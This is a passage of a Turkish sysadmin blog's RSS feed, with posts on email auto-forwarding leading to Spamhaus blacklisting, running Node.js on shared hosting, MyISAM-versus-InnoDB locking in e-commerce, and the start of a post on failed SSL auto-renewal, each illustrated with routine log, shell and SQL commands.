            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/e-posta-yonlendirme-auto-forwarder-tuzagi-ve-spamhaus-surprizi/thumbnail" alt=""> Epidemiyoloji ve bulaşıcı hastalıklar tarihinde "Tifo Mary" (Mary Mallon) vakası bir ibret vesikasıdır. 1900'lerin başında New York'ta aşçılık yapan Mary, tifo mikrobunu (Salmonella typhi) vücudunda taşımakta ancak kendisi hiçbir belirti göstermemektedir (asemptomatik taşıyıcı). Çalıştığı zengin ailelerin evlerinde yemek pişirirken, ellerini yıkamadan dokunduğu tatlılar ve yiyecekler üzerinden düzinelerce insana ölümcül tifo bulaştırır. İnsanlar ölürken Mary hiçbir şey olmamış gibi başka bir mutfağa geçer ve salgını yaymaya devam eder. Kendisi hastalanmamıştır; fakat enfeksiyonun en ölümcül taşıyıcısı ve dağıtım merkezi haline gelmiştir.</p>
<p>Web barındırma ve e-posta sunucusu yönetiminde de sistem yöneticilerinin saçını başını yolduran en sinsi ve masum görünen sabotaj tam olarak bu asemptomatik süper yayıcı felaketidir: <strong>cPanel üzerinden yapılan bilinçsiz E-Posta Otomatik Yönlendirmesi (Email Auto-Forwarder).</strong></p>
<h3>Bir Esnaf Konforu: "Bütün Maillerim Gmail'ime Gelsin"</h3>
<p>Senaryo her hosting firmasında haftada en az birkaç kez yinelenir. Şirket sahibi veya bir çalışan, şirket adına açılmış kurumsal e-posta adresini (<code>ahmet@sirketadi.com.tr</code>) takip etmekte zorlanır. Bilgisayarına Outlook kurmak veya webmail arayüzünü açmak ona zahmetli gelir.</p>
<p>Aklına "müthiş" bir pratik çözüm gelir:<br>
<em>"Ben zaten bütün gün telefonumda kişisel Gmail hesabımı kullanıyorum. cPanel'e gireyim, 'E-posta Yönlendiricileri' (Forwarders) sekmesine tıklayayım; kurumsal maile gelen her şeyi doğrudan <code>ahmet_esnaf_1975@gmail.com</code> adresime yönlendireyim! Böylece tek yerden hepsini okurum."</em></p>
<p>İşlem 10 saniyede tamamlanır. Yönlendirme kuralı aktiftir. Şirket sahibi konforun tadını çıkarırken, arka plandaki sunucuyu bir biyolojik silah haline getirdiğinden zerre kadar haberi yoktur.</p>
<h3>Spamın Yıkanıp Google'a Pompalanması</h3>
<p>İnternet ortamında kamuya açık olan her kurumsal alan adı, Doğu Avrupa, Çin, Rusya ve Brezilya merkezli spam botlarının hedefindedir. Şirketin <code>ahmet@sirketadi.com.tr</code> adresine her gün ortalama 500 adet çöp e-posta gelir: Sahte kripto teklifleri, phishing banka şifre avcıları, zararlı yazılım içeren fatura mailleri ve yetişkin içerik reklamları.</p>
<p>Normal şartlarda bu mailler sunucudaki SpamAssassin filtrelerine takılır, kullanıcının Spam klasörüne düşer veya kullanıcı okumadan siler.</p>
<p>Fakat <strong>Auto-Forwarder (Otomatik Yönlendirme)</strong> mekanizması çalıştığında bambaşka bir kimyasal reaksiyon gerçekleşir:</p>
<ol>
<li>Korsan, Rusya'daki virüslü bir sunucudan <code>ahmet@sirketadi.com.tr</code> adresine sahte bir phishing maili atar.</li>
<li>Sizin hosting sunucunuz maili teslim alır.</li>
<li>Yönlendirme kuralı devreye girer: Sunucunuzun MTA motoru (Exim/Postfix), o sahte ve virüslü maili alır, kendi giden posta kuyruğuna koyar.</li>
<li>Sunucunuz, Google'ın (Gmail) mail kabul sunucularına (<code>gmail-smtp-in.l.google.com</code>) bağlanır: <em>"Merhaba Google, sana Ahmet Bey için bir mail teslim etmeye geldim!"</em></li>
</ol>
<p>Farkında mısınız?</p>
<p>O sahte ve zararlı e-postayı Gmail'in kapısına bırakan kişi artık Rusya'daki korsan değildir; <strong>bizzat sizin hosting firmanızın sunucusudur!</strong></p>
<h3>Google'ın Tokadı: IP Kara Listesi ve Spamhaus Şoku</h3>
<p>Google'ın yapay zeka tabanlı antispam radarları bu tabloyu gün içinde binlerce kez kaydeder:</p>
<ul>
<li><em>"Şu <code>185.120.xx.xx</code> nolu sunucu IP adresinden bana sabahtan beri saatte 400 adet sahte bahis ve dolandırıcılık maili iletiliyor!"</em></li>
</ul>
<p>Google için niyetin önemi yoktur; trafiğin kaynağı önemlidir. Google algoritmaları hükmünü verir: <strong>"Bu IP adresi organize bir spam aktarma istasyonudur (Spam Relay)!"</strong></p>
<p>Misilleme gecikmez:</p>
<ol>
<li><strong>Gmail Engeli:</strong> Sunucudan Gmail'e giden tüm meşru şirket e-postaları doğrudan reddedilir: <code>550 5.7.1 Our system has detected that this message is likely unsolicited mail</code>.</li>
<li><strong>Spamhaus ve RBL İdamı:</strong> Google ve diğer alıcı servisler durumu küresel itibar veritabanlarına raporlar. Sunucu IP adresi <strong>Spamhaus Zen, Barracuda ve SORBS</strong> kara listelerine mıhlanır.</li>
</ol>
<p>Ve facia tüm paylaşımlı sunucuya sıçrar! O sunucuda barınan diğer 300 masum şirketin teklif mailleri, resmi banka dekontları, yurt dışı yazışmaları dünya genelinde tek bir adrese bile ulaşamaz hale gelir. Tüm e-posta trafiği felç olur!</p>
<h3>Sabah 09:00: Nöbetçi Mühendisin İsyanı</h3>
<p>Pazartesi sabahı hosting firmasının destek paneli alev alır. Onlarca şirket arayarak <em>"Kimseye mail atamıyoruz, IP'miz kara listeye girmiş!"</em> diye feryat eder.</p>
<p>Sistem yöneticisi SSH konsolundan Exim loglarını açar ve o meşhur analizi yapar:</p>
<pre><code class="language-bash"># En çok dışarıya mail yönlendiren hesabı tespit et:
grep -E "R=lookuphost" /var/log/exim_mainlog | grep -i "gmail.com" | awk '{print $5}' | sort | uniq -c | sort -n
</code></pre>
<p>Ekranda çıkan sonuç her şeyi özetler: <code>ahmet@sirketadi.com.tr</code> hesabı, son 24 saatte Gmail'e tam <strong>3.840 adet</strong> spam mail yönlendirmiştir!</p>
<p>Mühendis tereddüt etmeden o yönlendirme kuralını kökünden siler (<code>rm /etc/vfilters/sirketadi.com.tr</code>). Müşteriyi arar: <em>"Ahmet Bey, kurumsal mailinizi şahsi Gmail'inize yönlendirerek tüm sunucuyu kara listeye soktunuz!"</em></p>
<p>Müşterinin cevabı klasiktir: <em>"Ne alakası var canım? Ben sadece kendime mail gelsin istedim. Suç bendeki maili Gmail'e yönlendirmek mi? Güvenliği sağlayamayan sizsiniz!"</em></p>
<h3>E-Posta Yönlendirme Tuzağına Karşı Profesyonel Çözüm</h3>
<p>Kurumsal e-posta ile kişisel konforu güvenli bir şekilde birleştirmenin doğru mühendislik yöntemleri bellidir:</p>
<ol>
<li><strong>Auto-Forwarder'ı Yasaklayın veya Kısıtlayın:</strong> Sunucu düzeyinde harici yönlendirmeler (özellikle Gmail, Hotmail, Yahoo gibi ücretsiz sağlayıcılara yapılan forward kuralları) sınırlandırılmalı veya tamamen devre dışı bırakılmalıdır.</li>
<li><strong>Gmail'in POP3 Çekme (Fetch) Özelliğini Kullanın:</strong> Eğer şirket maillerinizi Gmail arayüzünden okumak istiyorsanız; sunucudan Gmail'e zorla mail pompalamayın (Push). Gmail'in içine girin, <em>"Ayarlar > Hesaplar > Diğer hesaplardaki postaları kontrol et (POP3)"</em> özelliğini açın. Bırakın Gmail sunucunuza gelsin, gelen kutunuzdaki mailleri POP3 ile kendisi çeksin. Bu sayede tüm spam filtreleme sorumluluğu Google'a ait olur; sunucunuz bir aktarma istasyonuna dönüşmez.</li>
<li><strong>SRS (Sender Rewriting Scheme) Zorunluluğu:</strong> Eğer yönlendirme mutlaka yapılacaksa, sunucuda Exim SRS desteği aktif edilmelidir. SRS, gönderici zarfını yeniden yazarak SPF ve DMARC kırılmalarını önler.</li>
<li><strong>Gelişmiş Giden Posta Filtresi (SpamExperts / MailChannels):</strong> Sunucudan dışarı çıkan tüm trafiği SpamExperts veya MailChannels gibi harici akıllı SMTP röleleri üzerinden geçirerek yönlendirilen spamların daha kapıdan çıkmadan yakalanmasını sağlamak.</li>
</ol>
<p>Kendi evindeki çöpü mahallenin su deposuna boşaltıp "Ben sadece evimi temizliyordum" diyemezsiniz. Auto-forwarder masum bir kolaylık değil; doğru yönetilmediğinde tüm sunucunun itibarını ateşe veren kontrolsüz bir enfeksiyon kanalıdır. Dijital dünyada hijyen, kişisel tembelliklerin altyapı güvenliğinin önüne geçmesine izin vermemekle başlar.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>E-Posta</category>
            <category>Forwarder</category>
            <category>Spamhaus</category>
            <category>Gmail</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/e-posta-yonlendirme-auto-forwarder-tuzagi-ve-spamhaus-surprizi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Paylaşımlı Hostingde Node.js / Python Kurmaya Çalışan" Junior Yazılımcı]]></title>
            <link>http://localhost:3000/blog/post/paylasimli-hostingde-nodejs--python-kurmaya-calisan-junior-yazilimci</link>
            <guid>paylasimli-hostingde-nodejs--python-kurmaya-calisan-junior-yazilimci</guid>
            <pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yıllık 100 TL ödediği standart PHP/Apache paylaşımlı hosting paketinde cPanel terminali üzerinden daemon koşturmaya, pm2 ve npm bağımlılıklarıyla soket dinlemeye çalışan junior yazılımcının "Sunucunuz Node.js bile çalıştırmıyor" kibri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/paylasimli-hostingde-nodejs--python-kurmaya-calisan-junior-yazilimci/thumbnail" alt=""> Sağlık sisteminde her kurumun yetki, uzmanlık ve donanım sınırları kanunlarla ve tıp etiğiyle milimetrik olarak ayrılmıştır. Şimdi gözünüzün önüne bir mahalle sağlık ocağını getirin. İçeride bir aile hekimi ve bir hemşire tansiyon ölçmekte, bebek aşılarını yapmaktadır. Kapıdan yeni mezun, hevesli ama gerçek dünyadan bihaber bir cerrah girer. Sedye üzerinde yatan hastaya bakar ve sağlık ocağı personeline bağırmaya başlar:</p>
<p><em>"Bana derhal steril kalp-akciğer pompası getirin! Genel anestezi cihazını bağlayın, torakotomi setini açın! Burada açık kalp ameliyatı ve aort kapak değişimi yapacağım!"</em></p>
<p>Sağlık ocağındaki hemşire şaşkınlıkla cevap verir: <em>"Hocam burası bir aile sağlığı merkezi. Burada sadece pansuman, aşı ve reçete yazılır. Açık kalp ameliyatı yapacaksanız üçüncü basamak bir üniversite hastanesinin ameliyathanesine gitmeniz gerekir."</em></p>
<p>Genç cerrah öfkeyle masayı yumruklar: <em>"Siz nasıl bir kurumsunuz! Tabela asmışsınız ama açık kalp ameliyatı bile yapamıyorsunuz! Çağ dışı kalmışsınız, hepinizi Sağlık Bakanlığı'na şikayet edeceğim!"</em></p>
<p>Gülünç, değil mi? Oysa yazılım ve bilişim sektöründe her gün yüzlerce genç geliştirici ve junior yazılımcı, hosting firmalarının destek masalarında tam olarak bu sağlık ocağında açık kalp ameliyatı yapma küstahlığını sergiliyor: <strong>Paylaşımlı (shared) hosting paketinde Node.js, Python FastAPI ve Docker koşturmaya kalkışmak.</strong></p>
<h3>100 Liralık Pakette "Full-Stack" Fantezisi</h3>
<p>Olay genellikle modern bir bootcamp'ten yeni mezun olmuş veya YouTube'daki "30 Günde Full-Stack Geliştirici Olun" videolarını izlemiş bir genç arkadaşımızın heyecanıyla başlar.</p>
<p>Arkadaşımız yerel makinesinde harika bir proje geliştirmiştir: Arka planda Node.js Express veya Python FastAPI, ön yüzde React/Next.js, veritabanı olarak MongoDB veya Redis. Harika bir modern teknoloji yığınıdır.</p>
<p>Sıra projeyi canlıya (production) almaya gelir. Geliştiricimiz hosting arayışına girer. AWS, DigitalOcean veya yerel bulut sağlayıcılarının sanal sunucu (VPS/VDS) fiyatlarına bakar: Aylık 10-15 dolar. Bu bütçe ona pahalı gelir.</p>
<p>Google'a girer: <em>"En ucuz web hosting sınırsız 99 TL"</em>.</p>
<p>Yıllık 99 TL'ye standart bir cPanel paylaşımlı Linux hosting hesabı satın alır. Ve o saniyeden itibaren destek masası için kabus başlar.</p>
<h3>cPanel Terminalinde Çılgınlık: "npm install -g"</h3>
<p>Geliştirici cPanel'e girer. Sol menüdeki "Terminal" sekmesini açar. Yazılım dünyasını fethetmeye hazır bir komutan edasıyla ilk komutu yazar:</p>
<pre><code class="language-bash">npm install -g pm2
</code></pre>
<p>Ekranda buz gibi bir hata patlar:</p>
<pre><code class="language-text">npm ERR! Error: EACCES: permission denied, mkdir '/usr/local/lib/node_modules'
</code></pre>
<p>Geliştirici durur mu? Hemen ikinci refleksine başvurur:</p>
<pre><code class="language-bash">sudo npm install -g pm2
</code></pre>
<p>Sistemden gelen cevap:</p>
<pre><code class="language-text">bash: sudo: command not found (veya: user is not in the sudoers file!)
</code></pre>
<p>Geliştiricinin beyni yanar. Kendi bilgisayarında her istediğini yapan, her portu açan o "kod büyücüsü", paylaşımlı sunucunun kısıtlı kafesinde (CloudLinux CageFS) duvara toslamıştır.</p>
<p>Hemen destek masasına yüksek öncelikli bir bilet açar:</p>
<blockquote>
<p><em>"Sunucunuzda root/sudo yetkim yok! Terminalden global npm paketi kuramıyorum. Acil olarak kullanıcımı sudoers grubuna ekleyin, 3000 ve 8080 portlarını dışarıya açın ve arka planda pm2 daemon'ımı çalıştırın!"</em></p>
</blockquote>
<h3>Paylaşımlı Mimari ile Bağımsız Servis Ayrımı</h3>
<p>Destek mühendisi derin bir iç çeker. Bilgisayar bilimlerinin en temel mimari farkını anlatmak zorundadır:</p>
<p><em>"Sayın kullanıcımız, satın aldığınız hizmet bir paylaşımlı web hosting paketidir. Bu sunucuda PHP ve Apache/LiteSpeed web sunucusu çalışmaktadır. Paylaşımlı bir sunucuda hiçbir kullanıcıya root/sudo yetkisi verilemez; çünkü o yetkiyi aldığınızda sunucudaki diğer 300 müşterinin dosyalarına erişebilirsiniz. Ayrıca arka planda sürekli çalışan bir daemon (PM2/Node.js süreci) veya özel bir port dinleme işlemi paylaşımlı hosting mimarisine uygun değildir."</em></p>
<p>Geliştiricinin cevabı sektörün o meşhur junior kibrini yansıtır:</p>
<blockquote>
<p><em>"Siz 2000'li yıllarda mı kaldınız? PHP mi kaldı bu devirde? Bütün dünya Node.js ve Python kullanıyor, siz hala Apache diyorsunuz! 99 TL para verdik, sunucunuz bir Node.js uygulamasını bile kaldıramıyor! Hizmetinizi iptal edin, paranızı da başınıza çalın!"</em></p>
</blockquote>
<h3>Binek Arabaya Jet Motoru Takma Yanılgısı</h3>
<p>Junior yazılımcının anlamadığı şey şudur: Mesele sunucunun "kaldırıp kaldıramaması" değil, <strong>mimarinin doğasıdır.</strong></p>
<ol>
<li><strong>İstek/Yanıt (Request/Response) Modeli - PHP:</strong> PHP paylaşımlı hosting için mükemmel bir biyolojiye sahiptir. Ziyaretçi gelir, Apache bir PHP worker'ı ayağa kaldırır, kodu milisaniyede derler, HTML'i ziyaretçiye teslim eder ve o işlem (process) hafızadan silinir. İşlem biter, kaynak serbest kalır. 300 site bu sayede aynı fiziksel sunucuyu adil bir şekilde paylaşabilir.</li>
<li><strong>Sürekli Yaşayan Servis (Event-Loop / Daemon) Modeli - Node.js / Python:</strong> Node.js bir web sayfası değildir; arka planda 7/24 uyanık kalan, işletim sisteminin bir TCP portunu (Örn: 3000) sürekli dinleyen bağımsız bir sunucu yazılımıdır (daemon). Bellekte sürekli yer tutar, bağlantıları açık tutar (WebSocket).</li>
<li><strong>Port Paylaşımının İmkânsızlığı:</strong> Bir işletim sisteminde port 3000'i aynı anda sadece TEK bir süreç dinleyebilir. Eğer o paylaşımlı sunucudaki 300 kişi de Node.js uygulaması koşturmaya kalkarsa, portlar çatışır, bellek kilitlenir ve sunucu çöker.</li>
</ol>
<p>Modern paneller (cPanel "Setup Node.js App" / Phusion Passenger) üzerinden kısıtlı Node.js desteği sunulsa bile bu yapı büyük ölçekli ve gerçek zamanlı Node.js projeleri için bir pansumandan öteye geçemez.</p>
<h3>Doğru Mimaride Doğru Araç Seçimi</h3>
<p>Açık kalp ameliyatı sağlık ocağında yapılmaz; üniversite hastanesinin ameliyathanesinde yapılır. Modern bir backend mimarisiyle çalışmak istiyorsanız izleyeceğiniz mühendislik rotası bellidir:</p>
<ul>
<li><strong>Sanal Sunucu (VPS / VDS):</strong> Aylık 5-10 dolar bütçe ayırarak kendi bağımsız Linux sunucunuzu kiralayın. Kendi root yetkinizle istediğiniz Node.js sürümünü kurun, PM2 ile process'lerinizi yönetin, Nginx ters vekili (Reverse Proxy) yapılandırın.</li>
<li><strong>Konteyner ve PaaS Platformları:</strong> Altyapıyla uğraşmak istemiyorsanız Render, Railway, Vercel veya Fly.io gibi modern platformları kullanın. Kodunuzu repoya itin, gerisini platform otomatik yönetsin.</li>
<li><strong>Mütevazılık ve Mimari Olgunluk:</strong> Kullandığınız teknolojiyi yüceltip barındırma altyapısını aşağılamadan önce; bindiğiniz aracın bisiklet mi, kamyon mu, yoksa süpersonik jet mi olduğunu iyi analiz edin.</li>
</ul>
<p>Binek arabanın motoruna jet yakıtı döküp motor patlayınca benzin istasyonunu suçlayamazsınız. Paylaşımlı hosting PHP için ekonomik ve harika bir ekosistemdir; fakat Node.js veya Python daemon'ları için bir VDS kiralamayı akıl edemeyen zihniyet, faturayı altyapıya keserek sadece kendi mesleki hamlığını ele verir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Node.js</category>
            <category>Python</category>
            <category>Shared Hosting</category>
            <category>cPanel</category>
            <category>Yazılım Mimarisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/paylasimli-hostingde-nodejs--python-kurmaya-calisan-junior-yazilimci/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Veritabanı Tablosu 'InnoDB' Yerine 'MyISAM' Kalınca": Kilitlenen E-Ticaret]]></title>
            <link>http://localhost:3000/blog/post/veritabani-tablosu-innodb-yerine-myisam-kalinca-kilitlenen-e-ticaret</link>
            <guid>veritabani-tablosu-innodb-yerine-myisam-kalinca-kilitlenen-e-ticaret</guid>
            <pubDate>Sun, 01 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Eski yazılımlardan miras kalan MyISAM veritabanı motorunun "tablo seviyesinde kilit" (table-level locking) ilkel refleksi yüzünden, kampanya anında tek bir sipariş yazılırken tüm e-ticaret sitesinin kilitlenmesi ve MySQL Server Has Gone Away felaketi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/veritabani-tablosu-innodb-yerine-myisam-kalinca-kilitlenen-e-ticaret/thumbnail" alt=""> Büyük bir metropol devlet hastanesinin acil servis kapısını gözünüzün önüne getirin. Cuma gecesi saat 22:00; trafik kazaları, kalp krizleri ve astım krizleri peş peşe acile getirilmektedir. Şimdi hastane yönetiminin kapıya çok tuhaf, ucube bir mekanizma kurduğunu hayal edin: Acil servisin girişinde sadece tek bir döner kapı vardır. Ve bu kapının kuralı şudur: Bir sedye kapıdan içeri girdiği anda, içerideki hastanın kaydı tamamlanıp sedye koridordan çıkana kadar o döner kapı kilitlenir! Dışarıda bekleyen diğer 40 sedye, kanaması olan hastalar, içeriye girmek isteyen nöbetçi hekimler kapının önünde çaresizce beklemek zorundadır. İçerideki tek bir hastanın pansumanı yapılırken dışarıdaki kalp krizi vakası kapı önünde nefessiz kalarak hayatını kaybeder.</p>
<p>Kulağa tam bir akıl tutulması gibi geliyor, değil mi? Oysa veritabanı mühendisliğinde ve e-ticaret sitelerinde her Black Friday veya kampanya döneminde sistemleri komaya sokan arıza, tam olarak bu tek kapılı kilitlenme faciasıdır: <strong>MySQL tablolarının modern 'InnoDB' yerine arkaik 'MyISAM' depolama motorunda unutulması.</strong></p>
<h3>Efsane Cuma: Reklamlar Açıldı, Sunucu Dondu</h3>
<p>Bir e-ticaret markası haftalardır televizyonlarda ve sosyal medyada büyük bir indirim kampanyasının duyurusunu yapmaktadır: <em>"Bu akşam saat 21:00'de tüm ürünlerde %50 indirim!"</em></p>
<p>Şirket sunucu masrafından kaçınmamış, 32 çekirdekli, 128 GB RAM'li devasa bir sunucu kiralamıştır. Sunucunun işlemcisi boştadır, diskleri kurumsal NVMe'dir. Saat 21:00 olduğunda siteye aynı anda <strong>10.000 kişi</strong> hücum eder.</p>
<p>Müşteriler ürünleri sepete atar, ödeme butonuna tıklar. Ve tam o anda sistem bir duvara toslar.</p>
<p>Sepet sayfası dönmeye başlar... 10 saniye, 30 saniye, 60 saniye... Ve ekranda o soğuk, ölümcül veritabanı kopma hatası patlar:</p>
<blockquote>
<p><strong>SQLSTATE[HY000]: General error: 2006 MySQL server has gone away</strong><br>
<em>(Veritabanı sunucusu zaman aşımına uğradı ve bağlantıyı kopardı!)</em></p>
</blockquote>
<p>Sitenin ana sayfası bile açılmaz hale gelir. Şirketin genel müdürü, e-ticaret direktörü ve sunucu yöneticisi birbirine girer: <em>"128 GB RAM aldık, bu sunucu neden çöktü? Bize kim saldırıyor?"</em></p>
<h3>Table-Level Lock vs. Row-Level Lock: İki Dünyanın Savaşı</h3>
<p>Sistem yöneticisi SSH ile veritabanı sunucusuna bağlanır ve o meşhur sorgu izleme komutunu çalıştırır:</p>
<pre><code class="language-sql">SHOW FULL PROCESSLIST;
</code></pre>
<p>Ekrana dökülen yüzlerce satır, kapıda yığılmış sedyelerin otopsisidir:</p>
<pre><code class="language-text">Id: 4821 | User: eticaret | Command: Query | Time: 48 | State: Locked | 
Info: UPDATE wp_posts SET post_modified = NOW() WHERE ID = 142
Id: 4822 | User: eticaret | Command: Query | Time: 47 | State: Locked | 
Info: SELECT * FROM wp_posts WHERE ID = 841
Id: 4823 | User: eticaret | Command: Query | Time: 47 | State: Locked | 
Info: SELECT * FROM wp_posts WHERE ID = 920
... (Yüzlerce sorgu "Locked" durumunda beklemektedir!)
</code></pre>
<p>Tablo kilitlenmiştir! Peki neden?</p>
<p>Çünkü sitenin <code>wp_posts</code> (veya sipariş) tablosu, 2010 yılından kalma eski bir veritabanı dökümünden içeri aktarılmış ve depolama motoru (Storage Engine) <strong>MyISAM</strong> olarak kalmıştır!</p>
<p>MySQL dünyasında iki temel motor vardır ve aralarındaki fark yaşam ile ölüm arasındaki farktır:</p>
<h4>1. MyISAM (Tablo Seviyesinde Kilitlenme - Table-Level Locking)</h4>
<p>MyISAM, 90'lı yıllarda disklerin yavaş olduğu dönemde sadece okuma (SELECT) hızına odaklanarak tasarlanmış ilkel bir motordur. Bir kullanıcı siteden bir ürün satın aldığında veya stoğu güncellediğinde (<code>UPDATE / INSERT</code>), MyISAM <strong>o tablonun tamamına kilit vurur!</strong><br>
O anda o tablodan ürün okumaya çalışan diğer 500 müşterinin <code>SELECT</code> sorgusu kapıda bekletilir. Yazma işlemi bitmeden hiç kimse o tablodan tek bir harf bile okuyamaz! Yazma sorguları ardı ardına kuyruğa girdikçe, kuyruk patlar, veritabanı hafızası kilitlenir ve MySQL nefessiz kalarak tüm bağlantıları kapatır (<code>has gone away</code>).</p>
<h4>2. InnoDB (Satır Seviyesinde Kilitlenme - Row-Level Locking)</h4>
<p>2010'lu yıllardan itibaren MySQL'in resmi varsayılanı olan InnoDB ise tam teşekküllü, modern bir cerrahi kapıdır. Bir müşteri 142 nolu ürünü satın aldığında, InnoDB tablonun tamamını değil; <strong>sadece ve sadece o 142 nolu satırı kilitler!</strong><br>
Aynı saniyede 841 nolu ürünü inceleyen diğer müşteri hiçbir gecikme yaşamadan veriyi okur, üçüncü müşteri 920 nolu ürünü satın alır. Herkes kendi şeridinde, kimse kimseyi beklemeden akar. Üstelik InnoDB tam bir işlem güvenliğine (ACID - Atomicity, Consistency, Isolation, Durability) sahiptir; elektrik kesilse bile veritabanı bozulmaz.</p>
<h3>Tek Bir Komutla Gelen Kurtuluş</h3>
<p>Sistem yöneticisi durumu anlar. Kampanyanın ortasında, canlı veritabanında o cerrahi neşteri vurur:</p>
<pre><code class="language-sql">-- Kilitlenen MyISAM tablolarını modern InnoDB motoruna dönüştür:
ALTER TABLE wp_posts ENGINE = InnoDB;
ALTER TABLE wp_postmeta ENGINE = InnoDB;
ALTER TABLE wp_options ENGINE = InnoDB;
</code></pre>
<p>Komut çalışır, MySQL tabloları satır seviyesinde kilitlenen modern InnoDB mimarisine dönüştürür.</p>
<p>Ve birkaç saniye içinde o kilitlenen kuyruk bir baraj kapağının açılması gibi boşalır. İşlemci yükü 80'den 4'e geriler. Saniyede yüzlerce sipariş tıkır tıkır veritabanına yazılmaya başlar; kasaya dakikalar içinde yüz binlerce liralık ciro akar.</p>
<h3>Veritabanı Mimarisi Reçetesi</h3>
<p>E-ticaret ve yüksek trafikli sistemlerde MyISAM kalıntılarını temizlemek ve veritabanını bir yarış arabasına dönüştürmek için şu adımlar şarttır:</p>
<ol>
<li><strong>Eski Tablo Taraması:</strong> Veritabanınızda hâlâ MyISAM kalıntısı olup olmadığını şu SQL sorgusuyla derhal tespit edin:
<pre><code class="language-sql">SELECT table_name, engine 
FROM information_schema.tables 
WHERE table_schema = 'veritabani_adiniz' AND engine = 'MyISAM';
</code></pre>
</li>
<li><strong>Toplu Dönüşüm:</strong> Çıkan tüm MyISAM tablolarını tek tek <code>ALTER TABLE ... ENGINE = InnoDB;</code> komutuyla dönüştürün.</li>
<li><strong><code>innodb_buffer_pool_size</code> Optimizasyonu:</strong> InnoDB'nin gücü bellekten gelir. Sunucunuzdaki toplam RAM'in yaklaşık <strong>%60 ila %70'ini</strong> <code>my.cnf</code> dosyasında <code>innodb_buffer_pool_size</code> parametresine ayırın. Böylece veritabanınız tüm aktif tabloları doğrudan ultra hızlı RAM'de tutarak diske hiç dokunmadan sorguları yanıtlar.</li>
<li><strong>MyISAM'ı Kalıcı Olarak Yasaklayın:</strong> Yeni kurulan tabloların kazara MyISAM olmasını engellemek için <code>my.cnf</code> içine <code>default_storage_engine = InnoDB</code> satırını ekleyin.</li>
</ol>
<p>Döner kapıyla acil servis yönetilemeyeceği gibi, MyISAM ile de e-ticaret yönetilemez. Donanıma yüz binlerce lira yatırıp en temel mimari motor tercihini gözden kaçırmak, Ferrari'ye tahta tekerlek takıp yarışa çıkmaktan farksızdır. Performans donanımın büyüklüğünde değil; verinin damarlarda nasıl aktığını bilen doğru mimari kararlarda gizlidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>MySQL</category>
            <category>InnoDB</category>
            <category>MyISAM</category>
            <category>E-Ticaret</category>
            <category>Veritabanı Performansı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/veritabani-tablosu-innodb-yerine-myisam-kalinca-kilitlenen-e-ticaret/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["SSL Otomatik Yenileme (Cron) Başarısızlığı": Sabah Uyandığında Kırmızı Sertifika Uyarısı]]></title>
            <link>http://localhost:3000/blog/post/ssl-otomatik-yenileme-cron-basarisizligi-sabah-uyandiginda-kirmizi-sertifika-uyarisi</link>
            <guid>ssl-otomatik-yenileme-cron-basarisizligi-sabah-uyandiginda-kirmizi-sertifika-uyarisi</guid>
            <pubDate>Sat, 28 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Let's Encrypt SSL sertifikasının 90 günlük süresi biterken arka plandaki certbot yenileme betiğinin sessizce hata vermesi ve pazartesi sabahı siteye giren müşterilerin karşısına çıkan o korkunç kırmızı "Bağlantınız Gizli Değil" panik ekranı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ssl-otomatik-yenileme-cron-basarisizligi-sabah-uyandiginda-kirmizi-sertifika-uyarisi/thumbnail" alt=""> Hastanelerin sterilizasyon ve enfeksiyon kontrol ünitelerinde uygulanan kritik protokollerden biri "Otomatik Gece UVC Dezenfeksiyonu"dur. Ameliyathaneler ve yoğun bakım odaları gece saat 03:00'te boşaltılır. Tavana monte edilmiş güçlü ultraviyole (UVC) mikrop kırıcı lambalar otomatik zamanlayıcı ile devreye girer. Yarım saat boyunca odayı yoğun bir radyasyonla tarar; yüzeylerdeki tüm virüsleri, bakterileri ve mantar sporlarını DNA'larını parçalayarak yok eder.</p>
<p>Şimdi düşünün ki o UVC lambasının balastı veya elektrik sigortası üç hafta önce atmıştır. Cihazın üzerinde yeşil bir hazır ışığı yanmakta ama lamba aslında hiç ultraviyole ışık yaymamaktadır. Gece personeli "Nasıl olsa otomasyon çalışıyor" diyerek odayı kontrol etmez.</p>
<p>Sabah cerrahlar içeri girer, ameliyatlar başlar. Üç gün sonra ameliyat edilen beş hastada birden hastane mikrobu (Pseudomonas) ürer, hastalar yoğun bakıma kaldırılır ve tüm cerrahi blok karantinaya alınır! Otomasyona körü körüne güvenilmiş, fakat otomasyonun çalışıp çalışmadığını denetleyen o tek göz ihmal edilmiştir.</p>
<p>Web güvenliği ve kurumsal dijital varlıklarda da her sabah yüzlerce şirketi yerle bir eden en büyük panik dalgası tam olarak bu sterilizasyon arızasıdır: <strong>Let's Encrypt SSL sertifikasının arka plandaki otomatik yenileme (cron) görevinde sessizce boğulması ve sabah patlayan o kırmızı ekran.</strong></p>
<h3>Pazartesi 08:45: Kırmızı Alarm ve "Hacklendik!" Çığlığı</h3>
<p>Pazartesi sabahı şirketin yönetim kurulu başkanı, kurumsal web sitesine girmek ister: <code>sirketadi.com.tr</code>.</p>
<p>Normalde sitenin sol üstünde zarif bir asma kilit simgesi görünürdü. Fakat bu sabah tarayıcı (Google Chrome) siteyi hiç açmaz! Bütün ekranı kaplayan, kan kırmızı renkli, üzerinde kocaman bir ünlem işareti olan o korkunç güvenlik duvarı patlar:</p>
<blockquote>
<p><strong>Bağlantınız Gizli Değil</strong><br>
<em>Saldırganlar sirketadi.com.tr sitesinden bilgilerinizi (örneğin parolaları, mesajları veya kredi kartlarını) çalmaya çalışıyor olabilir.</em><br>
